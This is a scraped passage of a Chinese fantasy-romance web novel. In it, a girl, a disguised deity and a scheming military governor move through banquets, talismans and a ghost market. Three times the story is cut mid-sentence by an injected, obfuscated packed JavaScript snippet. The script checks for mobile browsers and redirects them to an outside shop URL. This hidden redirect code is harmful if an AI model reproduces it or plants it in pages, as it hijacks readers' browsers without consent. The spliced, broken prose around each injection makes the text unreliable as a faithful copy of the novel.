桑小云急道:“那怎么行?家中内务本就是我来做的,怎么能叫你操劳?” 祝今照坐在椅子里,嗑着瓜子瞧他们。 裴枕寒坐在桌案另一头,对他们的对话浑不在意。修长的手指正剥着板栗,神色认真。 阿衡温声道:“偶尔一回,无妨的。娘子去煮些姜茶,压一压恶心。和十三娘一道喝。” 桑小云一想,这样分工倒更合适,便点点头:“好。” 祝今照往前探身,凑在裴枕寒跟前,十分热心地对他讲解:“看到没,在别人家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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祝今照才觉察她进来了。弯眼道:“我看小道长太单纯了,教他些人情世故。” “这样啊哈哈……” 桑小云干笑了笑,抬手蹭了蹭额头。 人情世故……不是争家产,要聘礼,婆婆嫌弃媳妇这些事么?朝朝说的什么啊,床上榻上的,故事里情绪都还很激烈的感觉,太夸张了,听不懂…… 正想着,阿衡从盥洗室出来了。沐浴过后,又恢复了平日的温文尔雅。 他过来寒暄了几句,便含笑道:“娘子陪着十三娘和寒弟说说话,我去做面。” 桑小云连忙站起来:“哎呦,这怎么行,全颠倒了。厨房里头的事该我做才是。” 阿衡轻轻按住她肩头,将她按回椅中:“娘子先歇一歇。我把水打好烧上,你再来做菜,好不好?” 桑小云这才点了点头。 阿衡行了一礼:“那诸位先玩着,我去了。” 祝今照摆摆手:“去罢去罢。”拿肩头撞了撞桑小云,挑眉笑道,“阿云有位难得的好夫君呢。” 裴枕寒蹙眉,盯着阿衡的背影,对他一百个不放心。 他站起身:“我也去。” 祝今照诧异地仰脸:“你去做什么……” 话音未落,裴枕寒已跟了过去。 9. 成家立业 “诶,小道长——” 祝今照起身要追,被桑小云一把扯了回来。 桑小云道:“想去便叫他去罢。朝朝,趁这会儿没人,你跟姐姐说说,那小郎君跟你究竟是什么关系?” 祝今照眨眨眼:“朋友关系咯?” “朋友……”桑小云扶额,“我的傻十三娘,你当真瞧不出,那人对你格外特别么?” “跟前跟后,端茶倒水,剥了果子齐齐摆在你面前。你对他那般胡言乱语,他一句不耐烦的话都没有,还用那种眼神看你……” 祝今照不认同关于她胡言乱语的部分:“我哪有胡言乱语!” 顿了顿,把指尖放在嘴里,“不过,这么一说……” 桑小云道:“觉察出不对了罢?正常人怎会平白无故做这些事。” 祝今照认真点头:“说得对。他太过不谙世事了。我以后得更加尽朋友之谊,多教他些人情世故,不能叫他被人欺负了去。” 桑小云又开始擦额角了。朝朝对人情世故,似乎有独具一格的理解。 “忘掉人情世故罢。”她蹙眉笑得无奈。 拉过祝今照的手,“今日姐姐就跟你挑明了。照我的经验,他那样,八成是在追求你。” 祝今照懵了,杏眼水汪汪望着桑小云,颤声道:“追、追求?” 桑小云望了望外头,压低声音: “我看你对他也不讨厌。但你得打听清楚了。瞧他那模样气度,可不像什么普通人……若真是个贵公子,咱们可得小心点。” 她正了正脸色: “宁做贫人妻,不做侯门妾。若做了侯门妾,上头有婆婆要伺候,有主母压着,还有一干贵妇人要张罗应酬。便是夫君再爱你百倍也不成的,你自己根本做不得自己的主。” 祝今照举手:“等等,等等……首先,小道长他只是个被师门丢弃的可怜人,不是什么侯门公子。其次,阿云姐姐,我才十四啊!” 桑小云啧了一声,拍开她的手:“十四不小了!你几月生的?” “八月初八……” “你瞧,眼瞅着就要及笄了。” 她声音放软: “趁着年轻,早早选定良人,一辈子有个着落。咱们女子,不就这些事么?这会子不留心,等成了老姑娘,哪里还有人肯选咱。” 祝今照举起两指,开始揉额角。 脑子里念头乱窜。 成家……生子…… 匈奴未灭,何以为家…… 不对,这好像是男子操心的事…… 可她还没立业呢…… 做了别人的妻子,便要担起相应的责任…… 若连业都没立,拿什么养夫君呢…… 不对,这好像也是男子操心的事…… 总之,好烦。 祝今照推了推桑小云双手,勉强笑了一下: “阿云姐姐,人家小道长不过是在报恩。先前他被师门打个半死,扔了出来,自个儿蜷在街角,奄奄一息的。我顺手帮了他一把。” “他如今这般,不过是实心眼的缘故。咱们别乱揣摸人家的好心了。” 桑小云想了想,道:“我有法子,试试他的心意。” 起身走到书柜前,取出两张符纸,拿来搁在祝今照跟前。 “这是御风咒,北斗宫开过光的。用来躲避突发的凶险。只需捏一个简单的诀,便能腾空,力道足够带起两个人。” 祝今照拈起一张,对着光瞧。 桑小云接着道:“待会儿,你将这符递给阿寒郎君。这符很基础,他既在玄门待过,定然会使。” 她往门外望了一眼,压低声音:“然后,我让小黑凶巴巴往你身上扑。他若对你有意思,定然会护着你,悬到半空去。” 轻轻推了推祝今照,“你便趁机抱着他,瞧他什么反应。明白么?” 祝今照咬着指尖,目光还黏在符纸上头,道:“这符既然很基础,那阿云也算是圈子里的人,是不是也会捏这个诀?” 桑小云见她完全跑题了,啧了一声,无奈地瞧她。 祝今照弯眼:“看起来是会咯?”她一把攥住桑小云袖子,晃了晃,“教教我,教教我。” 桑小云拗不过,只好教她。纤长的手指捏了个花样,叫祝今照照着做。 “我只是知道这手势,可没用过。飞天什么的,太骇人了,我做不来。” 她抬起眼,见祝今照只顾低头练那手势。 恨铁不成钢地道:“哎呀,别琢磨这个啦。” “我跟你说,待会儿抱小郎君的时候,千万要顺从些。男子爱的,都是依赖他们的、能叫他们出风头的女子。” “拿方才在船上来说,用竹竿拨开那东西,你就该让那小郎君来做,怎能不管不顾,自己就上了呢?” 祝今照停了手,抬脸看她:“是他递给我的呀。况且,当时我站的位置更顺手些。” 桑小云又道:“那还有方才,提议怎么招待你们。人家小郎君一句话都没说呢,你便都说满了。风头全成了你的,那怎么成?” 祝今照眨了眨眼:“可小道长不爱说话。我不替他说,难道任他安安静静杵在那儿么?那会冷场的。” 桑小云噎了噎:“总、总之,朝朝日后尽量收敛些锋芒。能叫男子庇护着,不也很好么?何必非要出头。” 她将符纸塞进祝今照手里,站起身来。 “我这会子去灶房做面,顺道将小郎君请出来。你便去试试他。记住我说的话,啊。” 祝今照攥着符纸,心事重重地垂下脑袋。 ** 与此同时,灶房处。 裴枕寒抱臂倚着砖墙,一脸冷漠地看着阿衡。 阿衡不说话,也不看他。 埋头在菜园子里摘菜,提木桶从井中打水,洗菜,择菜,取出买好的新鲜肉…… 好像旁边不是站着一个人,是杵着一截空气。 气氛十分诡异。 夕阳斜斜笼进小院,静静照着这两个沉默的人影,平白又添了三分诡异。 阿衡将水倒进灶上的大铁锅里,端起案板,要将整块五花肉往水里放。 “你那样不对。” 裴枕寒忽然开口,声线是惯常的冷淡从容。 阿衡动作一顿,被吓得手指轻轻颤了颤。 他沉默地压下涌上来的火气。 裴枕寒淡声道:“肉该先切丝,用盐和葱姜加水腌制,再下油锅炒。就算要做水煮肉片,也要先腌。” 他目光往灶下一扫,“还有,你柴还没劈,便将水放进锅里,没有意义。很浪费。” 阿衡气得笑了一声。 他咬牙:“北斗,你究竟要做什么?” 裴枕寒:“纠正你的错误。” 阿衡:“你像个守天牢的天兵一样杵在那儿,就是为了看我怎么做饭?” “我如今只是个凡人,我都被你打成凡人了,你还想拿我怎么样啊北极玄枢斩邪帝君?”他忽然叫出了裴枕寒的神号全称。 “再将我打成鬼物?不好意思,你是不死神身,我也是。你办不到。” 裴枕寒目光淡淡扫了他一下,道:“何必如此。当初打你,不过是行天道。你如今并无大错。” 阿衡一腔火气直冲上来,抄起案板上的菜刀便朝他扔了过去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500519|202707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 裴枕寒只轻飘飘扫去一眼。 那菜刀在半空猛地调转了方向。 刀刃擦着阿衡脖颈划过去,割出一道细细的血口,铮的一声,直直扎进后头的砖墙里。 阿衡站在原地,盯着裴枕寒。 深呼吸,从牙缝里挤出几个字:“北斗,你真是傲慢透了。” 裴枕寒低头沉默片刻,抬眸看他:“孰是孰非,我此时不想争辩。” 阿衡嗤笑一声,翻了个白眼。走去将菜刀从墙上拽出来。 他把刀丢进铁锅里涮了两下,开始有一搭没一搭地切肉。 “你当然不想争辩,”他声音透着一股破罐子破摔的无力,“因为你根本不懂。人间自有人间的规则,你根本不懂人间的规则。张口闭口,只有天道。” 裴枕寒目光随着他的动作走了一遍。 沉默了一息,他道: “若你说的人间规则,是不应该在做饭的锅里洗脏东西,切肉时应该将肉切成整齐的条状或块状,而不是这般乱七八糟的形状……我想我比你更懂。” 阿衡匪夷所思地笑了一下,看向他:“我说的人间规则——是君子远庖厨,是中馈之事乃妇人之职。你懂这些,是一种耻辱,一种对你的侮辱。你现在是在自取其辱,并非什么光荣。知道么?” 裴枕寒没有作声。 “你瞧,你什么都不知道。所以建议你以后少管人间的事。” 阿衡越说声音越冷。 “你不过是个维护世间平安运转的工具罢了。你的神职生涯,就是除妖,清魔,在你那空荡的璇玑斗府里寂寞地走来走去,或者跪在洗心岩上为失职赎罪……直至万年之后,无声无息地陨落,好么?” 他顿了顿,又补了一刀:“哦,对了。你如今须在凡间受难,回不去天庭。” “那你便自己寻一处没人的山脚,接着过你那与世隔绝的日子去。这般碍手碍脚,赖在人家一个小娘子身边,又算什么?” 裴枕寒本来只安静听着,此时,手指却无意识地攥了起来,骨节微微泛白。 他忽然开口,不知是在同阿衡争辩,还是在安慰自己: “没有碍手碍脚,小娘子……喜欢我跟着她。” 阿衡像是听到了什么极好笑的事,停下刀,扭过头来看他,道: “北斗,你知道自己在说什么么?喜欢你?你自己信么?喜欢一个举止怪异、什么都不懂的人?” 裴枕寒盯着他,凤眸里蒙上一层极浅的迷茫。 阿衡越说越来劲: “人家十三娘,那是大度,善良,包容你,不跟你计较罢了。你该不会当真以为,人家心里——” 话没说完,裴枕寒转身便出了灶房。 阿衡一愣,目光追着那道白影望过去。 “什么反应?”他嘀咕了一声,“不会真被戳中痛处了罢?” “冰雕人也会有痛处?” 他耸了耸肩,没再多想,低下头,重新对付起那块肉来。 桑小云刚到灶房,一抹白影便从里面掠了出来,衣袂飘扬,带起一阵清风。 她连忙转身,对着堂屋那边使劲招手。又弯下腰,朝小黑招了招手,唤它过来。 祝今照正靠在门框上,瞧见桑小云那副热切的手势。 她抿了抿唇。 攥紧符纸,提步便跑。 裴枕寒也正朝她跑来。双手提着袍摆,墨发飘扬,几缕拂过他清隽的眉眼。人还没到眼前,那清冽的冷灰香已丝丝缕缕送来。 二人几乎同时停住步子。 “小娘子,我问你——” “小道长,我有话要问你!” 10. 再捉她一回 裴枕寒指尖攥了攥袖口,压下心头那点急迫。 低头看祝今照,语声温和有礼:“小娘子先说。” 祝今照咬着唇,脑袋低下去,对着手指头:“嗯……也没什么……就是……” 那边,桑小云半蹲在一株大槐树后头,一面撸着小黑的脑袋,一面对祝今照拼命使眼色。 她低头对小黑比了几个指令。 祝今照睁圆了杏眼。 裴枕寒瞧祝今照神色不对,顺着她目光,欲转身去看。 祝今照慌忙伸手,一把给他拉回来:“小道长,我有事要问你!” 深吸一口气,仰脸直愣愣盯着他:“你在我身边这般体贴周到,是不是——” 目光撞上他那副淡然从容、无欲无求的面容,话音十分丝滑地转了个弯: “——也可以教教我,这符纸,是不是这么用的?” 她对着他比划起捏诀的手势,弯起眼来:“你瞧,是不是这样,我做对了罢?” 裴枕寒唇角微微扬起来:“是这样。将符纸掷于半空,捏诀便好。” 顿了顿,又添了一句,“小娘子聪慧。” 祝今照扬起下巴:“那是自然。” “若是与在乎的人一同遇险,便可以用它。”裴枕寒声音淡淡的。 祝今照拿着那符比手划脚,没心没肺地点头:“嗯嗯,力道能带起两个人,我懂我懂。” 裴枕寒下一句:“若是一日,与我一同遇险,小娘子会用么?” 祝今照脚下一绊,险些脸朝下摔出去。 她稳住步子,仰脸望向夕阳,语气随意: “今儿个天气不错。原来都这么晚了,月亮都出来了。我先回屋睡觉去,有点困。” 她往旁边走去,背朝着他。 裴枕寒望着她的背影,心头一空。 身后忽地传来汪汪的叫声。小黑四脚生风,疾冲过来。 祝今照跺了跺脚,猛地转回身。 一把拽住裴枕寒的衣袖,将他护在身后。 动作太急了,他的墨发甩在她臂上。 祝今照举着符纸,冲小黑挥手:“去去!没你的事儿。小道长伤还没好呢,别闹。” 她一手举符,一手虚虚护在他腰侧。架势活像只要小黑再往前一步,她就要揽着他一道飞上去了。 裴枕寒一个眼神递过去。小黑的冲势硬生生顿住了。用狗狗眼瞅着裴枕寒,呜呜叫着,缩着脖子,蔫蔫地回去了。 “它走了!”祝今照松了口气。 亮着眼睛看裴枕寒:“瞧见没?我就是这种逢凶化吉的体质。” 裴枕寒垂眸看向她手中符纸,轻声道:“你方才的意思,不是不愿和我共用这符纸么?” 祝今照低头,短靴蹭着地面:“说了要护着你,总得讲义气。你千万别……” 多想啊。 “所以小娘子不讨厌我跟着你,对不对?” “啊?”祝今照仰脸看他,“当然不讨厌。你跟着我,我心中欢喜得很。你怎么会这么想?” 裴枕寒垂下头,没作声。再抬眼看她时,眉眼弯弯,凤眸里亮了层浅浅的光。 二人并肩往回走,等饭吃。 “所以,你方才跑那么急,是以为我讨厌你?” “是不是我教你太多人情世故,把你给教坏了?” “日后我教给你的人情世故,不许用在我身上,知道么?” “嗯。” ** 第二日仍是坐船回去。 桑小云包了一大捆符纸,拿麻绳扎得结结实实的,塞进祝今照怀里。 祝今照一张张翻过去。有请雷的,有驱魔的,有收妖的,甚至还有暂时增强人五感的……应有尽有。 祝今照掏出银子要给钱,桑小云死活不要。 祝今照便说,以后她铺子开起来,请桑小云当加盟商。 桑小云听得云里雾里,问祝今照开什么铺子。 祝今照背起手,望向船外滔滔江水,说这官河里水鬼这么多,杀都杀不净,不正是现成的商机么。 桑小云更不懂了,但表示支持。又问铺子打算开在哪里。 祝今照说鬼市。 桑小云吓得险些瘫坐在地上。 祝今照便不好再多说什么了。 回家几日,除了变着法子气徐夫人,皆无事。 祝今照每日缠着裴枕寒,叫他教那几道符纸的法门。 裴枕寒一道一道地教。有的手势繁复些,他便握住她的手,修长的手覆在她手背上,一点一点替她扳正。 讲解得极耐心,非要等她能独立使出来才罢休。到了第二日,还要将前一日学的重新过一遍。 后来一天晚上,祝今照睡熟后,裴枕寒将她荷包里的符纸一一取出来。 他站在月下,将符纸掷到半空,排成一排。指尖灵光流转,一道一道往里头灌法力。灌到那些寻常符纸的千倍万倍还多。 再箍一道咒,设定只有她能调得出里头的法力。 末了重新收拢整齐,放回她荷包里。 第二天,裴枕寒替她做了一桌菜,看她吃。 看了一会儿,走到槐荫下,背对着她,同她告别:“小娘子,我今日便要离开了。” 祝今照怔住,筷子悬在半空。 她胸中翻江倒海,最后出口的只剩四个字:“当真要走?” 他点点头。 问他以后住哪儿。 他说自有去处。 问他可有朋友帮衬。 他垂下眼,说一个人习惯了。 问日后想他了,怎么才能见到。 他抬眸看她,温声说,有缘自会相见。 什么也不肯告诉她。 祝今照低下头,掰着手指头数了数。 不多不少,正好七天。 她抬起脸,望着他笑了笑:“当真……只有七天啊。” ** 是夜,节度使府衙前灯火通明。 能纳千人的广场,此时摆满了桌案,座无虚席。 魁梧汉子们哄闹声震天,行酒令的,讲荤话的,高谈阔论的,沸成了一锅粥。 江临独占最前头一张桌案,南面而坐。 修长的手指拈着鎏金酒盏,慢悠悠地晃。琥珀色的酒液倒映出他那张俊美的面孔。 牙兵们一个接一个上前敬酒,他一一含笑寒暄,姿势从容优雅。 旁边席面上,一名雄武男子蓦地站起身,扬声喝道:“弟兄们,都收一收,收一收!” 满场嘈杂声一层层低了下去。 男子笑了一声,斜着眼瞧了瞧前头的江临,嗓门粗豪: “节帅,这都宴请第四波了。觉得我这些兄弟如何?比之你带过来的那群小白脸,还像一回事罢?” 江临倚在椅背上,举着杯盏的手微微抬了抬,含笑道: “杨兵马使这是哪里话?你我同朝为官,你的兄弟,自然也是我的兄弟。” “这几日能叫兄弟们敞开了喝酒,兄弟们高兴,我心也甚是快慰。” 杨九大手碾着酒杯,道:“江节帅——”他声音忽然拔高,“显然不懂咱们这儿的规矩啊!” “咱们乡野粗俗汉子,不比朝廷里头金玉堆出来的公子哥儿。说话爱说直的,不爱整那些软塌塌的花词儿。” “弟兄们,是不是啊?” 底下欢呼声震响。 杨九一抬手,呼声便陆续止住了。 他又去看江临:“节帅请了这么多天客,实在破费了。” “也看出来了罢?我这群兄弟,都是忠义好汉子,顶天立地,不爱事二主。” “节帅就不必盯着他们了。” “真有工夫,不如踏踏实实的,好好驯驯你自个儿的兵。也让大伙儿开开眼。” 众人哄笑。 江临站起身,面上笑意不减。 “诸位吃好玩好,便早些回罢。安全第一。夜深露重,若真遇着邪祟,弄死了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500520|202707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝廷养的人,江某没法跟圣人交待。” “江某先行告辞。” 撩起披风,转身便走。 旁边案上,魏松沉默地站起身,紧随而去。 进了江宅,转入书房。 江临将外袍褪下,随手丢给屋里侍立的奴仆,往桌案前一坐。 “今日宴饮名册。”他摊开手。 魏松从怀里摸出一本薄册,双手递了过去。 “这是最后一波了,杨九手底下的兵,已全请过了。” 江临一面拈起几粒花生丢进嘴里,一面举着名册,目光一行行扫过去。 “不肯归顺的,一共多少?” “三千一百人。” 江临眉梢轻轻一挑:“不小的数目。”耸耸肩,“好事儿。” 将名册往桌案上一搁,又道:“鬼市那边,联系了么?” 魏松躬下身子:“万事俱备,就等杨九上钩了。” “哦。”江临应了一声,兴致缺缺。 斜倚在椅背上,修长的手指搭在下颔,目光落在桌案某处,半天没动静。 魏松垂着眼,恭恭敬敬候着,不敢出声。 半晌,江临开口了:“阿绒……还没找到?” 魏松:“没有。自打您吩咐她去捉那祝家十三娘,人便再没消息了。” 他拧起眉头,“十三娘既好好的,也没落在锦容堂手里。属下寻思着,会不会是阿绒和十三娘有旧,不愿做这桩差事,干脆跑了?” 江临嗤笑了声:“有意思。” 他伸手,从案上承盘里拣出那枚旧香囊,在指尖慢慢把玩。 “她一向孤僻,何时突然多了这么多人围着?” 魏松心里头直犯嘀咕。节帅您一向只做有用之事,何时突然对一个没什么用的小娘子这般上心了。 但这话他只敢在心里打转,绝不敢往外吐一个字。 江临道:“阿绒既然不忠诚了,那衣娘便也不能用了,丢了罢。” 魏松躬身应道:“是。” “她近日都在做什么?” 魏松道:“差手下的小妖四处找妹妹,锦容堂也搁下没心思打理了……” 江临蹙眉:“我问祝家十三娘。” 魏松:“啊、啊?” 江临啧了一声。 魏松慌忙把身子躬得更低:“哦!前些日子,一直见十三娘带着一个白衣人,在街上来来回回地走。” “白衣人?男的女的?” “是男子,只是……模样生得,比女子还要好看许多。” 江临深吸了一口气。 缓缓转过去看他:“问你男的女的,你多扯那些没用的做什么?” 魏松额上冷汗都要下来了:“是,是属下僭越……” 江临没理他的告罪,紧跟着问:“那男的干什么的?她一个未出阁的小娘子,带个男的在身边,成何体统?” 魏松抬手擦脑门上的汗。 节帅问的这些,尽是些犄角旮旯的问题。幸好他多留了个心眼,勉强还能答得上来。 “回节帅,属下打听得,像是她婶娘新给她添置的小厮……” “什么小厮能长得比女的还好看?”江临一眼瞪了过来。 魏松扑通跪下了:“属下愚钝!” 江临没再理他,修长的手指慢慢摩挲下巴。 不一定呢。 他也曾是她的小厮。 “找了个替身么?”他嘴角微微一勾,低声喃喃,“有意思。” “本尊在此,找替身作甚?” 他嗤笑一声,心情颇佳地给自己斟了杯茶。 端起来抿了一口,这才垂下眸子,看向还跪在地上的魏松。 “再捉她一回。” 魏松抬起脸,眨了眨眼,有些发懵地看着他。 江临把玩着茶盏,慢悠悠道:“还放在锦容堂。” “她那种人,最在意自己那身皮。扔在那里,准吓个半死。啧啧。” 11. 衣老板 这几日,祝今照心里头总觉着缺了一块。 夜里,躺在榻上,望着透进窗棂的月光,鼻端似还闻得见那丝丝缕缕的冷灰香。 梦里便多了些不堪的场景。 小道长眼尾泛着红,凤眸里泪光忽闪,咬着唇瓣贴上来。 衣襟散乱,褪下去半截,露出一段皎白的肩。那肩头,她替他上药时,见过许多回——肌理紧致而流畅。 她猛地睁开眼。望着账顶,呆了许久。 不懂自己这是怎么了。 小道长是她朋友。她一向最重义气,怎么能做这种欺负他的梦。 太不是人了。 这么想着,却还呆呆望着房梁。 伸出红润的舌尖,意犹未尽地,轻轻舔了舔唇角。 祝栖迟得了空便过来,陪她逛街散心。 这几日,街上人一日多过一日,摩肩接踵的。 满耳朵都是嗡嗡的吵嚷声。祝今照被吵的脑仁疼,要把脑袋埋进阿兄的怀里才勉强缓口气。 别的听不太清,但那北斗真君的名号,已被强行灌了满脑子。 整条街没一个人不喊的。 真君、帝君之外,还有裴郎、夫君,甚至阿耶、爹爹……等等乱七八糟的称呼。 祝今照对这尊大神无感,甚至因为这些过于狂热的信徒,生出了几分厌烦。 可这些天旁听下来,竟也听成半个圈里人,把他们的称呼术语摸了个门儿清。 ——帝君,是玄门叫的,是他统领自然神、执掌天道的职称。 真君,是民间对他亲切的称呼。 至于裴郎什么的……某些信徒会那么称他,不必理会。 前头摊位处,一名北斗宫的道长高高举起一尊小泥像,朗声道:“此像有帝君神光所系,对其祈祷之语,帝君能优先听到。共五百尊,功德高者可领……” 话没说完,街上尖叫连连,人潮哄地一声涌了过去。 祝栖迟连忙拉着祝今照腾地方。 二人被挤得七拐八绕,一直退进一条巷子里,才站定了脚。 祝今照揉着额角:“阿兄,这几日怎么到处都是北斗真君的东西?街上的人,不是去他庙里烧香,就是买灵符,要么就把他的神像满墙贴。今儿个,连北斗宫自己都下场卖起法器来了……” 祝栖迟道:“中元前后,阴气最盛,百姓都指望真君显圣,压一压邪祟,护佑自家平安。” “哦……”祝今照眨了眨眼。 这话搁在寻常人身上,听了便要生出几分敬畏,也盘算着要拜一拜北斗真君,求他庇护。 可祝今照自小从穷苦地方长起来,靠自个儿挣上了她自觉满意的生活,便总觉得自己厉害得很,满脑子只想着护着这个、护着那个。 她蹙起眉尖,有些担忧地道: “那谁来护着他呀?这么多人信他,他单是给那些法器灌法力,就得灌到深更半夜罢?还休不休息了?岂不要活活累死?” 祝栖迟无奈地蹙了蹙眉:“千百年来都是如此,百姓自然信他。人家法力高强,用不着旁人去护。况且,人家的心,也不是你操得起的。” 低下头,面色整肃看向她,“你也不要存什么侥幸心思,这些日子早些回家,莫在外逗留,知道么?” 祝今照蔫蔫地应了声。 她非但要在外逗留,还想着进鬼市呢。 回家后,独坐窗前,取出阿绒那只陶俑,搁在掌心轻轻抚摸。 靠它同衣娘谈一桩买卖。让衣娘改行,莫再做那种人命生意了。往后要做什么,她来出主意,让衣娘每月分成给她。 这事儿她搁在心里头反反复复地琢磨,想起来,似乎不难。 可鬼市里头太多未知了,她有些不敢动。 她把那几道指诀练了又练,指尖翻来覆去,几乎要磨出泡了。 眼下她唯一能依靠的,只有这些符纸了。 终于有一日,祝今照坐不住了。 再怎么准备,也准备不全的。不如先动起来,边做边看。 黄昏时分,她趁人不备溜出宅子,一个人往官河去。 刚转过一个街角,忽听前头甲胄铿锵,脚步声又沉又密,少说几百人。 祝今照心头一跳,闪身躲进巷子的暗影里。 一队官兵从长街那头转了出来,直直朝着官河方向走。 暮色笼罩处,官河岸边,每隔一里地,便氤氲着一团浓得化不开的雾气。 那便是鬼市的入口,从那里,通往阳间与幽冥之交的鬼市。 祝今照蹙起眉尖,低声喃喃:“一群官兵,去鬼市做什么?” 队伍最前头,一个粗豪的嗓音响起:“今日事办成了,回头,我杨九请兄弟们大醉三天三夜!” 杨九。 祝今照蹙眉,将这个名字在齿间碾了碾。 节度使府的都知兵马使。 这个人,原著里好像提过。 她轻轻拍了拍手心,想起来了。 这个人,是江临事业路上的一块垫脚石。 杨九在鬼市,有些妖怪归顺,再加上他手底下那些兵,便靠着这些势力,在鬼市里头收保护费。 后来江临出手,把他清理了。 这一下算是帮了鬼市的忙,鬼市首领沈清晏,从此便成了江临的人。 具体是怎么清理的,祝今照当时没仔细看,此时怎么也想不起来了。 她拍了拍脑门,懊恼地啧了一声。 要是当时读得再细点,叫她抢在江临前头做了这桩事,岂不就能搭上沈清晏了! 那得是多少白花花的银子啊。 她歪头想了想,又自言自语地咕哝道:“不过,人家沈清晏要的,八成是江临的权力地位。就算我真能替她赶跑杨九,也不一定能入得了人家的眼……” 她释然了:“唉,算了。我能有一处小铺子就心满意足了。” “他们大佬的事,跟我这小老百姓有什么相干。” 那队官兵鱼贯走入浓雾里。一个接一个,像是被那团灰蒙蒙的东西吞了进去,眨眼便没了踪影。 祝今照屏息等了一会儿,估摸着人都走得远了,便从巷子里出来。 她踏上官道,往那团浓雾走去。 暮色沉沉压下来,宽阔的官道上空荡荡的,只余她一道孤零零的影子。 忽地,脚边一个黑影掠了过去。身后像是有什么东西,轻飘飘闪了一下。 祝今照心头一跳,步子不觉慢了下来。 她咬着唇,稳住呼吸,硬着头皮往前走。 黑影又闪了一次。这一回,它停住了。 将她整个人,从头到脚,牢牢罩住。 祝今照猛地转过身。 一个魁梧的身影已贴到了面前。 她瞳孔一缩,还没来得及做出任何反应,后脑便挨了一记闷响。 眼前一黑,人已软软地栽了下去。 ** 祝今照迷迷糊糊转醒时,鼻端先是触到一股诡异的香气,底下还压着一丝腐烂的腥气,像是特意为了遮掩后者。 一墙之隔处,响起一道女声,幽幽的,质地很好听。 “他的意思是,叫我折磨一下她,挫挫她的锐气?” 另一道男声回道:“是。” 又添了句:“您一向对女子多有庇护,不至于不肯下手罢?” 那女声不屑地嗤笑了声,道: “我何曾庇护过什么?我手底下的女妖,都是各凭自家本事混饭吃。至于那些没本事的小角色,是死是活,与我有什么相干?” 男子道:“那便是了。只是此人死不得,还请您手下留情些。” 女子像是发现什么新鲜事,轻轻笑了声:“又是折磨,又不让死。什么小角色?能叫你主子这般 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可那夜只有她和小道长在,并无旁人。江临要查,势必大费周折。 衣娘和阿绒,不过是他手底下的小喽啰。他凡事讲究高效,怎会为她们这般费心? 正想着,外头那男子甲胄铿锵地离去了。 女子的脚步声,便不紧不慢地靠了过来。 祝今照反绑在身后的双手一点一点地挪,艰难地往袖子里摸索。指尖触到了那几张符纸。 门吱呀一声开了。 逆着外头幽绿的光,一个女子立在门口,居高临下看着她。 大袖罗衫,浅浅的绿,披一条素色披帛。发饰也是淡的,透出几分干净的碧色。 是个素净的美人。 祝今照望着她,心底浮起一丝困惑。 原著里提过的——衣娘,是个浓艳的人,并非什么清冷系。 但眼下哪有心思去深想。 衣娘已不紧不慢地走了进来。 她垂下眼,目光落在祝今照反缚在身后的手上。 祝今照紧张得指尖发颤,险些把袖中那几张符纸一股脑全拽出来。 她咬着唇,强行把手定住,稳了稳急促的呼吸。 杏眼眨巴眨巴,努力朝衣娘弯出一个笑来:“衣老板。其实,我正想着来找你呢。” “我听说,你近来进货的渠道出了点岔子,生意搁下了。我这里有一桩更大的买卖,咱们合作,能把你的铺子重新盘活。” 她声音还发着颤,极力把话说得流畅些。 衣娘垂着眼,无动于衷地瞧着她。 半晌,轻轻笑了一声。 将“合作”两个字慢悠悠地重复了一遍。 下颌朝祝今照的手边点了点:“就靠你那些,平日里拿来哄小孩玩的符纸?” 祝今照呼吸一滞,连忙把符纸往袖子里塞了塞。 衣娘道:“知道为什么没给你没收么?” 她清澈的眸子望着祝今照,透出几分无辜,“因为想看看,你会不会不自量力。” “没想到,你真会。” “拿这种在阳间防身的小东西,对付鬼市的妖。”她轻轻叹了口气。 一面说着,一面从袖中取出一把匕首。 纤细的手握着刀鞘,轻轻一抽。冷刃出鞘,一声轻响。 “他只是说不让你死了。可没说过——”她目光落在祝今照那张鲜灵的面容上,“不让你残了。” 她半蹲下身,冰凉的刀刃,慢悠悠地贴上祝今照的下颌。 “这副好容貌,只你一个人用,是不是有些可惜了?” 12. 疾行 祝今照仰起脸,凉刃抵在她下颌,冷汗顺着鬓发淌下来。 她背在身后的双手,一点一点往袖里摸。 有一道解缚符,能让绳子脱开。 嘴里却不停,只盼能拖一拖她的注意:“衣老板,不想知道,你妹妹如今身在何处么?” 她把阿绒收在一道储物符里。 衣娘划着她下颌的手微微一顿:“难道在你手里?” 祝今照:“不然呢?衣老板觉得,我凭什么敢来你这儿。” 衣娘重新低下眼,仔仔细细打量了她一遭。 眉梢轻轻挑了挑,竟笑了一下:“原来是有备而来。不是个傻子。” 她慢悠悠将匕首收回袖中,站起了身。 俯身拎起祝今照的后领,便往外走。步子若无其事,像是手里抓着的不是人,是一件不紧要的物件。 祝今照被衣领勒得气都要喘不上来,唇瓣微微张着,一下下轻咳。 短靴胡乱踢打着地面,被她狼狈地拖着往前。 